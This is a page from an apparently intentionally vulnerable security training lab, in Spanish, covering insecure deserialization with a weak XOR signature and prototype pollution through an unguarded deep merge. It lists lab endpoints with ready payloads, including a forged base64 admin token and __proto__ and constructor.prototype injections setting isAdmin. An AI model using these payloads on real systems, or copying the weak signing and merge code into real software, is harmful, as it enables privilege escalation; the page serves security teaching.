CRITICAL

Insecure Deserialization & Prototype Pollution

Deserialización insegura con firma débil (XOR reversible), escalada de privilegios en objetos serializados y prototype pollution via deep merge JSON

Ejemplos de explotación:

Ver documentación del lab

Descripción de los tres ataques y endpoints disponibles

/api/lab/deserialization
Generar objeto firmado (role=user)

Genera un objeto serializado con firma XOR débil — base64 reversible

/api/lab/deserialization?action=generate&role=user
Generar objeto firmado (role=admin)

Con la clave de firma conocida ('signing-key-123') cualquiera puede generar tokens admin

/api/lab/deserialization?action=generate&role=admin
Verificar objeto legítimo (firma válida)

Verificar un objeto generado por el servidor — firma coincide

/api/lab/deserialization?action=verify&payload=eyJ1c2VySWQiOjEsInVzZXJuYW1lIjoiYWxpY2UiLCJyb2xlIjoidXNlciIsInBlcm1pc3Npb25zIjpbInJlYWQiXX0uMTIz
Verificar objeto manipulado (role→admin)

Payload base64 con role:admin — demuestra la escalada de privilegios por deserialización

/api/lab/deserialization?action=verify&payload=eyJ1c2VySWQiOjEsInVzZXJuYW1lIjoiYWxpY2UiLCJyb2xlIjoiYWRtaW4iLCJwZXJtaXNzaW9ucyI6WyJyZWFkIiwid3JpdGUiLCJkZWxldGUiXX0u
Prototype Pollution — __proto__.isAdmin

deep merge con __proto__ contamina Object.prototype — todos los objetos heredan isAdmin:true

/api/lab/deserialization?action=merge&data={"__proto__":{"isAdmin":true}}
Prototype Pollution — constructor.prototype

Variante con constructor.prototype para contaminar el prototipo

/api/lab/deserialization?action=merge&data={"constructor":{"prototype":{"isAdmin":true}}}
Prototype Pollution — propiedad personalizada

Añadir propiedad arbitraria al prototipo base afecta a todos los objetos del proceso

/api/lab/deserialization?action=merge&data={"__proto__":{"role":"admin","debug":true}}
Merge legítimo — sin contaminación

Deep merge con datos legítimos sin operadores peligrosos — configuración normal

/api/lab/deserialization?action=merge&data={"theme":"dark","language":"en"}

Vulnerabilidad Crítica

Dos vulnerabilidades en un lab: (1) Firma débil en objetos serializados — se usa XOR con clave predecible ('signing-key-123'), lo que permite recalcular la firma tras modificar el payload (role: user → admin). (2) Prototype Pollution — la función deepMerge no bloquea claves como __proto__ o constructor.prototype, permitiendo contaminar Object.prototype con propiedades arbitrarias que afectan a todos los objetos del proceso Node.js. OWASP A08:2021 — CVSS 9.8.

Esta aplicación es vulnerable por diseño - Solo para propósitos educativos

© 2025 Aitana Security Lab